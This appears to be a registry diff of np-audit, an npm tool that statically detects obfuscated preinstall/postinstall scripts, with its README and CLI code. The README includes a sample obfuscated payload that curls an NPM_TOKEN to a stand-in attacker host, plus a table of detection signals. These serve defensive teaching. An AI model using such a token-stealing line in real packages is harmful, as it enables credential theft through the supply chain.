np-audit 0.0.1-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,212 @@
1
+ # np-audit — npm package auditor
2
+
3
+ Statically detect obfuscated code in npm `preinstall`/`postinstall` scripts **before** they run. Drop-in replacement for `npm install` and `npm ci`.
4
+
5
+ **Zero dependencies.** Pure Node.js built-ins only.
6
+
7
+ ---
8
+
9
+ ## The Attack Vector
10
+
11
+ Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run `npm install`, npm automatically executes any `preinstall`, `install`, or `postinstall` script defined in a package's `package.json`. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
12
+
13
+ ```json
14
+ {
15
+ "scripts": {
16
+ "postinstall": "node ./dist/install.js"
17
+ }
18
+ }
19
+ ```
20
+
21
+ Where `dist/install.js` contains something like:
22
+
23
+ ```js
24
+ // Obfuscated — hard to read by design
25
+ var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
26
+ eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');
27
+ ```
28
+
29
+ Real-world examples include:
30
+
31
+ - **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — malicious postinstall that stole Bitcoin wallet credentials
32
+ - **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
33
+ - **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
34
+ - **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
35
+ - **XZ Utils (2024)** — multi-year social engineering + backdoor via build scripts (C ecosystem, but same pattern)
36
+
37
+ **`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
38
+
39
+ | Signal | Example |
40
+ |---|---|
41
+ | `eval()` / `new Function()` | `eval(atob("aGVsbG8="))` |
42
+ | Obfuscator.io patterns | `var _0x3f2a = [...]` |
43
+ | High-entropy strings | Encrypted/compressed payloads |
44
+ | Hex escape density | `\x68\x65\x6c\x6c\x6f` |
45
+ | `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
46
+ | Base64 decode + exec | `Buffer.from(x,'base64')` + `eval` |
47
+ | Shell spawning | `require('child_process').exec(...)` |
48
+ | Large hex literal arrays | `[0x1a, 0x2b, 0x3c, ...]` × 20+ |
49
+ | `process.env` access | Token/credential harvesting |
50
+ | Outbound network calls | Data exfiltration |
51
+
52
+ ---
53
+
54
+ ## Install
55
+
56
+ ```bash
57
+ # Global install (recommended for daily use)
58
+ npm install -g np-audit
59
+
60
+ # Or use directly with npx (no install needed)
61
+ npx np-audit scan
62
+ npx np-audit install
63
+ ```
64
+
65
+ After global install, use the `npa` command:
66
+
67
+ ```bash
68
+ npa --version
69
+ ```
70
+
71
+ ---
72
+
73
+ ## Usage
74
+
75
+ ### Commands
76
+
77
+ | Command | Alias | Description |
78
+ |---|---|---|
79
+ | `npa install [package]` | `npa i [package]` | Audit then run `npm install` |
80
+ | `npa ci` | — | Audit then run `npm ci` |
81
+ | `npa scan` | `npa s` | Scan only, no install |
82
+ | `npa config get` | `npa c get` | Show current configuration |
83
+ | `npa config set <key> <value>` | `npa c set <key> <value>` | Update a config value |
84
+
85
+ ### Flags
86
+
87
+ | Flag | Alias | Works with | Description |
88
+ |---|---|---|---|
89
+ | `--aware` | `-a` | `install`, `ci` | Interactive mode — choose which scripts to allow |
90
+ | `--json` | — | `install`, `ci`, `scan` | Machine-readable JSON output |
91
+ | `--no-dev` | — | `install`, `ci`, `scan` | Skip devDependencies |
92
+ | `--verbose` | — | all | Show fetch progress and extra detail |
93
+ | `--version` | — | — | Print version and exit |
94
+ | `--help` | `-h` | — | Print help and exit |
95
+
96
+ ### Drop-in replacement for `npm install`
97
+
98
+ ```bash
99
+ # Audit all dependencies, then install if clean
100
+ npa install # or: npa i
101
+
102
+ # Audit a specific package before adding it
103
+ npa i express
104
+ ```
105
+
106
+ ### Drop-in replacement for `npm ci`
107
+
108
+ ```bash
109
+ npa ci
110
+ ```
111
+
112
+ ### Scan only (no install)
113
+
114
+ ```bash
115
+ npa scan # or: npa s
116
+ npa s --json # machine-readable output
117
+ npa s --no-dev # skip devDependencies
118
+ npa s --verbose # show fetch progress
119
+ ```
120
+
121
+ ### Interactive `--aware` mode
122
+
123
+ Review each install script yourself and decide which to allow:
124
+
125
+ ```bash
126
+ npa i --aware # or: npa i -a
127
+ npa ci --aware
128
+ ```
129
+
130
+ ```
131
+ npa --aware mode
132
+ Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
133
+
134
+ Found 3 package(s) with install scripts:
135
+
136
+ [✓ allow] esbuild@0.24.2 postinstall: post-install.js OK
137
+ ▶ [✗ deny ] evil-sdk@1.0.0 postinstall: install.js BLOCK (score: 9)
138
+ [✓ allow] @scope/pkg@2.1.0 postinstall: install.js WARN (score: 5)
139
+
140
+ 2 allowed 1 denied
141
+ ```
142
+
143
+ After confirmation, `npa` runs `npm install --ignore-scripts` and then manually executes only the scripts you allowed.
144
+
145
+ ### Configuration
146
+
147
+ ```bash
148
+ # Show current config
149
+ npa config get
150
+
151
+ # Change thresholds
152
+ npa config set blockScore 6 # block at score 6+ (default: 7)
153
+ npa config set warnScore 3 # warn at score 3+ (default: 4)
154
+
155
+ # Skip trusted packages or scopes
156
+ npa config set skipPackages '["esbuild","puppeteer"]'
157
+ npa config set skipScopes '["@types","@babel"]'
158
+ ```
159
+
160
+ Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json` in your project root.
161
+
162
+ #### All config keys
163
+
164
+ | Key | Default | Description |
165
+ |---|---|---|
166
+ | `blockScore` | `7` | Score threshold for hard block (exit 1) |
167
+ | `warnScore` | `4` | Score threshold for warning (exit 0) |
168
+ | `registry` | `https://registry.npmjs.org` | npm registry URL |
169
+ | `timeout` | `30000` | HTTP request timeout (ms) |
170
+ | `parallelFetches` | `5` | Concurrent tarball downloads |
171
+ | `skipScopes` | `[]` | `@scope` prefixes to skip entirely |
172
+ | `skipPackages` | `[]` | Specific package names to skip |
173
+
174
+ ---
175
+
176
+ ## Exit codes
177
+
178
+ | Code | Meaning |
179
+ |---|---|
180
+ | `0` | All packages clean or only warnings |
181
+ | `1` | One or more packages blocked |
182
+
183
+ ---
184
+
185
+ ## How it works
186
+
187
+ 1. **Parse** `package-lock.json` (supports v1, v2, v3 formats)
188
+ 2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
189
+ 3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
190
+ 4. **Analyze** each `preinstall`/`install`/`postinstall` script file statically — never execute
191
+ 5. **Score** findings (0–10 per signal), classify as BLOCK / WARN / OK based on config thresholds
192
+ 6. **Report** results to terminal or `--json`
193
+ 7. **Proceed** — run npm normally, or in `--aware` mode let you selectively allow scripts
194
+
195
+ ---
196
+
197
+ ## Development
198
+
199
+ ```bash
200
+ git clone https://github.com/KoblerS/np-audit.git
201
+ cd np-audit
202
+ npm test # run all unit + E2E tests
203
+ npm link # install npa globally from source
204
+ ```
205
+
206
+ No build step, no transpilation — plain Node.js ≥ 18.
207
+
208
+ ---
209
+
210
+ ## License
211
+
212
+ MIT
package/bin/npa.js ADDED
@@ -0,0 +1,3 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+ require('../src/cli.js');
package/package.json ADDED
@@ -0,0 +1,33 @@
1
+ {
2
+ "name": "np-audit",
3
+ "version": "0.0.1-beta",
4
+ "description": "Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention",
5
+ "bin": {
6
+ "npa": "./bin/npa.js",
7
+ "np-audit": "./bin/npa.js"
8
+ },
9
+ "main": "./src/cli.js",
10
+ "files": [
11
+ "bin/",
12
+ "src/",
13
+ "README.md"
14
+ ],
15
+ "scripts": {
16
+ "test": "node test/index.js"
17
+ },
18
+ "engines": {
19
+ "node": ">=18.0.0"
20
+ },
21
+ "keywords": [
22
+ "npm",
23
+ "security",
24
+ "audit",
25
+ "obfuscation",
26
+ "supply-chain"
27
+ ],
28
+ "license": "MIT",
29
+ "repository": {
30
+ "type": "git",
31
+ "url": "git+https://github.com/KoblerS/np-audit.git"
32
+ }
33
+ }
package/src/aware.js ADDED
@@ -0,0 +1,183 @@
1
+ 'use strict';
2
+
3
+ const readline = require('readline');
4
+ const path = require('path');
5
+ const { spawnSync } = require('child_process');
6
+ const output = require('./output');
7
+
8
+ const KEY_UP = '\x1b[A';
9
+ const KEY_DOWN = '\x1b[B';
10
+ const KEY_SPACE = ' ';
11
+ const KEY_ENTER = '\r';
12
+ const KEY_ENTER2 = '\n';
13
+ const KEY_QUIT = 'q';
14
+
15
+ /**
16
+ * Run the interactive --aware TUI.
17
+ * Shows packages with install scripts and lets the user toggle which to allow.
18
+ * After confirmation, runs npm install --ignore-scripts, then executes allowed scripts.
19
+ *
20
+ * @param {object} opts
21
+ * @param {ScanResult[]} opts.results packages that have install scripts
22
+ * @param {string} opts.command 'install' | 'ci'
23
+ * @param {string[]} opts.npmArgs extra args for npm command
24
+ * @param {string} opts.cwd
25
+ * @returns {Promise<number>} exit code
26
+ */
27
+ async function runAware(opts) {
28
+ const { results, command, npmArgs, cwd } = opts;
29
+
30
+ if (results.length === 0) {
31
+ output.success('No install scripts found. Running npm without restrictions.');
32
+ return runNpm(command, npmArgs, cwd);
33
+ }
34
+
35
+ // Default: allow OK scripts, deny BLOCK scripts, warn for WARN
36
+ const items = results.map(r => ({
37
+ result: r,
38
+ allowed: r.verdict !== 'BLOCK',
39
+ }));
40
+
41
+ let cursor = 0;
42
+
43
+ function render() {
44
+ // Move cursor to top of list — use ANSI escape to clear + redraw
45
+ process.stdout.write('\x1b[2J\x1b[H'); // clear screen
46
+ output.log('');
47
+ output.log(output.bold(' npa --aware mode'));
48
+ output.log(output.dim(' Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit'));
49
+ output.log('');
50
+ output.log(` Found ${items.length} package(s) with install scripts:\n`);
51
+
52
+ items.forEach((item, i) => {
53
+ const { result } = item;
54
+ const pkg = result.pkg;
55
+ const badge = output.verdictBadge(result.verdict);
56
+ const toggle = item.allowed ? output.green('[✓ allow]') : output.red('[✗ deny ]');
57
+ const cursor_ = i === cursor ? output.cyan(' ▶ ') : ' ';
58
+ const name = `${pkg.name}@${pkg.version}`;
59
+ const scripts = result.scripts.map(s => `${s.lifecycle}: ${s.file}`).join(', ');
60
+ output.log(` ${cursor_}${toggle} ${output.bold(name)} ${output.dim(scripts)} ${badge}`);
61
+
62
+ if (i === cursor && result.findings.length > 0) {
63
+ for (const f of result.findings) {
64
+ output.log(` ${output.dim('└ ' + f.name + ': ' + f.detail)}`);
65
+ }
66
+ }
67
+ });
68
+
69
+ output.log('');
70
+ const allowed = items.filter(i => i.allowed).length;
71
+ output.log(` ${output.green(String(allowed))} allowed ${output.red(String(items.length - allowed))} denied`);
72
+ output.log('');
73
+ }
74
+
75
+ await new Promise((resolve) => {
76
+ if (!process.stdin.isTTY) {
77
+ // Non-TTY fallback: just use defaults and proceed
78
+ resolve();
79
+ return;
80
+ }
81
+
82
+ readline.emitKeypressEvents(process.stdin);
83
+ process.stdin.setRawMode(true);
84
+
85
+ render();
86
+
87
+ function onKey(str, key) {
88
+ if (!key) return;
89
+
90
+ if (key.name === 'up' || str === KEY_UP) {
91
+ cursor = (cursor - 1 + items.length) % items.length;
92
+ render();
93
+ } else if (key.name === 'down' || str === KEY_DOWN) {
94
+ cursor = (cursor + 1) % items.length;
95
+ render();
96
+ } else if (str === KEY_SPACE) {
97
+ items[cursor].allowed = !items[cursor].allowed;
98
+ render();
99
+ } else if (str === KEY_ENTER || str === KEY_ENTER2 || key.name === 'return') {
100
+ cleanup();
101
+ resolve();
102
+ } else if (str === KEY_QUIT || (key.ctrl && key.name === 'c')) {
103
+ cleanup();
104
+ process.stdout.write('\n');
105
+ process.exit(0);
106
+ }
107
+ }
108
+
109
+ function cleanup() {
110
+ process.stdin.setRawMode(false);
111
+ process.stdin.removeListener('keypress', onKey);
112
+ process.stdin.pause();
113
+ }
114
+
115
+ process.stdin.on('keypress', onKey);
116
+ });
117
+
118
+ // Clear screen after TUI exits
119
+ process.stdout.write('\x1b[2J\x1b[H');
120
+
121
+ const allowedItems = items.filter(i => i.allowed);
122
+ const deniedItems = items.filter(i => !i.allowed);
123
+
124
+ output.log('');
125
+ output.info(`Proceeding with ${allowedItems.length} allowed / ${deniedItems.length} denied`);
126
+
127
+ if (deniedItems.length > 0) {
128
+ output.warn('Running npm with --ignore-scripts (will run allowed scripts manually after)');
129
+ const code = runNpm(command, [...npmArgs, '--ignore-scripts'], cwd);
130
+ if (code !== 0) return code;
131
+
132
+ for (const item of allowedItems) {
133
+ const exitCode = runPackageScripts(item.result, cwd);
134
+ if (exitCode !== 0) {
135
+ output.error(`Script for ${item.result.pkg.name} exited with code ${exitCode}`);
136
+ }
137
+ }
138
+ return 0;
139
+ } else {
140
+ return runNpm(command, npmArgs, cwd);
141
+ }
142
+ }
143
+
144
+ /**
145
+ * Spawn npm install/ci and return the exit code.
146
+ */
147
+ function runNpm(command, args, cwd) {
148
+ const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
149
+ const npmArgs = command === 'ci' ? ['ci', ...args] : ['install', ...args];
150
+ const result = spawnSync(npmCmd, npmArgs, { stdio: 'inherit', cwd });
151
+ return result.status || 0;
152
+ }
153
+
154
+ /**
155
+ * Run the install scripts for a single package from its node_modules directory.
156
+ */
157
+ function runPackageScripts(scanResult, cwd) {
158
+ const pkgDir = path.join(cwd, 'node_modules', scanResult.pkg.name);
159
+
160
+ for (const scriptInfo of scanResult.scripts) {
161
+ if (scriptInfo.file === '(inline)') {
162
+ output.info(`Running inline ${scriptInfo.lifecycle} for ${scanResult.pkg.name}`);
163
+ const result = spawnSync(scriptInfo.code, {
164
+ shell: true,
165
+ stdio: 'inherit',
166
+ cwd: pkgDir,
167
+ });
168
+ if (result.status !== 0) return result.status;
169
+ } else {
170
+ const scriptPath = path.join(pkgDir, scriptInfo.file);
171
+ output.info(`Running ${scriptInfo.lifecycle} (${scriptInfo.file}) for ${scanResult.pkg.name}`);
172
+ const result = spawnSync(process.execPath, [scriptPath], {
173
+ stdio: 'inherit',
174
+ cwd: pkgDir,
175
+ });
176
+ if (result.status !== 0) return result.status;
177
+ }
178
+ }
179
+
180
+ return 0;
181
+ }
182
+
183
+ module.exports = { runAware, runNpm };
package/src/cli.js ADDED
@@ -0,0 +1,262 @@
1
+ 'use strict';
2
+
3
+ const { scan } = require('./scanner');
4
+ const { runAware, runNpm } = require('./aware');
5
+ const { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG } = require('./config');
6
+ const output = require('./output');
7
+
8
+ const VERSION = require('../package.json').version;
9
+ const NAME = require('../package.json').name;
10
+
11
+ const HELP = `
12
+ npa — npm package auditor ${VERSION}
13
+ Statically detects obfuscated code in npm install scripts.
14
+
15
+ Usage:
16
+ npa install [package] Audit then run npm install (alias: i)
17
+ npa ci Audit then run npm ci
18
+ npa scan Scan only, no npm invocation (alias: s)
19
+ npa config get Show current configuration (alias: c)
20
+ npa config set <k> <v> Set a config value
21
+
22
+ Flags:
23
+ --aware, -a Interactive mode: choose which scripts to allow
24
+ --json Machine-readable JSON output
25
+ --no-dev Skip devDependencies
26
+ --verbose Show extra detail
27
+ --version Print version
28
+ --help, -h Print this help
29
+
30
+ Config keys (stored in ~/.npmauditor.json):
31
+ blockScore Score threshold for hard block (default: ${DEFAULT_CONFIG.blockScore})
32
+ warnScore Score threshold for warning (default: ${DEFAULT_CONFIG.warnScore})
33
+ registry npm registry URL (default: ${DEFAULT_CONFIG.registry})
34
+ timeout HTTP timeout in ms (default: ${DEFAULT_CONFIG.timeout})
35
+ parallelFetches Concurrent downloads (default: ${DEFAULT_CONFIG.parallelFetches})
36
+ skipScopes Array of @scopes to skip
37
+ skipPackages Array of package names to skip
38
+
39
+ Install:
40
+ npm install -g np-audit
41
+ npx np-audit scan
42
+ `;
43
+
44
+ function parseArgs(argv) {
45
+ const args = argv.slice(2);
46
+ const flags = {
47
+ aware: false,
48
+ json: false,
49
+ noDev: false,
50
+ verbose: false,
51
+ version: false,
52
+ help: false,
53
+ };
54
+ const positionals = [];
55
+
56
+ for (const arg of args) {
57
+ switch (arg) {
58
+ case '--aware':
59
+ case '-a': flags.aware = true; break;
60
+ case '--json': flags.json = true; break;
61
+ case '--no-dev': flags.noDev = true; break;
62
+ case '--verbose': flags.verbose = true; break;
63
+ case '--version': flags.version = true; break;
64
+ case '--help':
65
+ case '-h': flags.help = true; break;
66
+ default:
67
+ if (!arg.startsWith('-')) positionals.push(arg);
68
+ }
69
+ }
70
+
71
+ const command = positionals[0] || null;
72
+ const cmdArgs = positionals.slice(1);
73
+ return { command, cmdArgs, flags };
74
+ }
75
+
76
+ async function runInstall(pkgName, flags, config, cwd) {
77
+ output.printScanHeader();
78
+
79
+ const results = await scan({
80
+ cwd,
81
+ config,
82
+ noDev: flags.noDev,
83
+ verbose: flags.verbose,
84
+ singlePackage: pkgName || null,
85
+ });
86
+
87
+ if (flags.json) {
88
+ process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
89
+ } else {
90
+ printResults(results);
91
+ }
92
+
93
+ const blocked = results.filter(r => r.verdict === 'BLOCK');
94
+
95
+ if (blocked.length > 0 && !flags.aware) {
96
+ output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
97
+ output.log(output.dim(' Run with --aware to interactively decide which scripts to allow.'));
98
+ process.exit(1);
99
+ }
100
+
101
+ const npmArgs = pkgName ? [pkgName] : [];
102
+
103
+ if (flags.aware) {
104
+ const packagesWithScripts = results.filter(r => r.verdict !== 'OK' || r.scripts.length > 0);
105
+ const exit = await runAware({
106
+ results: packagesWithScripts.length > 0 ? packagesWithScripts : results,
107
+ command: 'install',
108
+ npmArgs,
109
+ cwd,
110
+ });
111
+ process.exit(exit);
112
+ } else {
113
+ const exit = runNpm('install', npmArgs, cwd);
114
+ process.exit(exit);
115
+ }
116
+ }
117
+
118
+ async function runCi(flags, config, cwd) {
119
+ output.printScanHeader();
120
+
121
+ const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
122
+
123
+ if (flags.json) {
124
+ process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
125
+ } else {
126
+ printResults(results);
127
+ }
128
+
129
+ const blocked = results.filter(r => r.verdict === 'BLOCK');
130
+
131
+ if (blocked.length > 0 && !flags.aware) {
132
+ output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
133
+ process.exit(1);
134
+ }
135
+
136
+ if (flags.aware) {
137
+ const exit = await runAware({ results, command: 'ci', npmArgs: [], cwd });
138
+ process.exit(exit);
139
+ } else {
140
+ const exit = runNpm('ci', [], cwd);
141
+ process.exit(exit);
142
+ }
143
+ }
144
+
145
+ async function runScan(flags, config, cwd) {
146
+ output.printScanHeader();
147
+
148
+ const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
149
+
150
+ if (flags.json) {
151
+ process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
152
+ const hasBlock = results.some(r => r.verdict === 'BLOCK');
153
+ process.exit(hasBlock ? 1 : 0);
154
+ }
155
+
156
+ printResults(results);
157
+ output.printSummary(results.map(r => ({ verdict: r.verdict })));
158
+
159
+ const hasBlock = results.some(r => r.verdict === 'BLOCK');
160
+ process.exit(hasBlock ? 1 : 0);
161
+ }
162
+
163
+ async function runConfig(cmdArgs, config) {
164
+ const subcommand = cmdArgs[0];
165
+
166
+ if (subcommand === 'get') {
167
+ const globalPath = getGlobalConfigPath();
168
+ output.log(output.bold(' Current npa configuration'));
169
+ output.log(output.dim(` (global: ${globalPath})`));
170
+ output.log('');
171
+ for (const [key, val] of Object.entries(config)) {
172
+ output.log(` ${output.cyan(key.padEnd(18))} ${JSON.stringify(val)}`);
173
+ }
174
+ output.log('');
175
+ return;
176
+ }
177
+
178
+ if (subcommand === 'set') {
179
+ const key = cmdArgs[1];
180
+ const value = cmdArgs[2];
181
+ if (!key || value === undefined) {
182
+ output.error('Usage: npa config set <key> <value>');
183
+ process.exit(1);
184
+ }
185
+ try {
186
+ const updated = setGlobalConfig(key, value);
187
+ output.success(`Set ${key} = ${JSON.stringify(updated[key])}`);
188
+ output.log(output.dim(` Written to ${getGlobalConfigPath()}`));
189
+ } catch (err) {
190
+ output.error(err.message);
191
+ process.exit(1);
192
+ }
193
+ return;
194
+ }
195
+
196
+ output.error(`Unknown config subcommand: "${subcommand}". Use "get" or "set".`);
197
+ process.exit(1);
198
+ }
199
+
200
+ function printResults(results) {
201
+ if (results.length === 0) {
202
+ output.success('No packages with install scripts found.');
203
+ return;
204
+ }
205
+ for (const r of results) {
206
+ output.printPackageResult(r.pkg, r);
207
+ }
208
+ }
209
+
210
+ function toJsonReport(results) {
211
+ return {
212
+ summary: {
213
+ total: results.length,
214
+ blocked: results.filter(r => r.verdict === 'BLOCK').length,
215
+ warned: results.filter(r => r.verdict === 'WARN').length,
216
+ ok: results.filter(r => r.verdict === 'OK').length,
217
+ },
218
+ packages: results.map(r => ({
219
+ name: r.pkg.name,
220
+ version: r.pkg.version,
221
+ verdict: r.verdict,
222
+ score: r.score,
223
+ findings: r.findings,
224
+ scripts: r.scripts.map(s => ({ lifecycle: s.lifecycle, file: s.file, score: s.score })),
225
+ })),
226
+ };
227
+ }
228
+
229
+ async function main() {
230
+ const { command, cmdArgs, flags } = parseArgs(process.argv);
231
+ const cwd = process.cwd();
232
+ const config = loadConfig(cwd);
233
+
234
+ if (flags.version) {
235
+ process.stdout.write(`npa ${VERSION} (${NAME})\n`);
236
+ return;
237
+ }
238
+
239
+ if (flags.help || !command) {
240
+ process.stdout.write(HELP + '\n');
241
+ return;
242
+ }
243
+
244
+ switch (command) {
245
+ case 'install':
246
+ case 'i': await runInstall(cmdArgs[0] || null, flags, config, cwd); break;
247
+ case 'ci': await runCi(flags, config, cwd); break;
248
+ case 'scan':
249
+ case 's': await runScan(flags, config, cwd); break;
250
+ case 'config':
251
+ case 'c': await runConfig(cmdArgs, config); break;
252
+ default:
253
+ output.error(`Unknown command: "${command}". Run npa --help for usage.`);
254
+ process.exit(1);
255
+ }
256
+ }
257
+
258
+ main().catch(err => {
259
+ output.error(err.message);
260
+ if (process.env.NPA_DEBUG) console.error(err);
261
+ process.exit(1);
262
+ });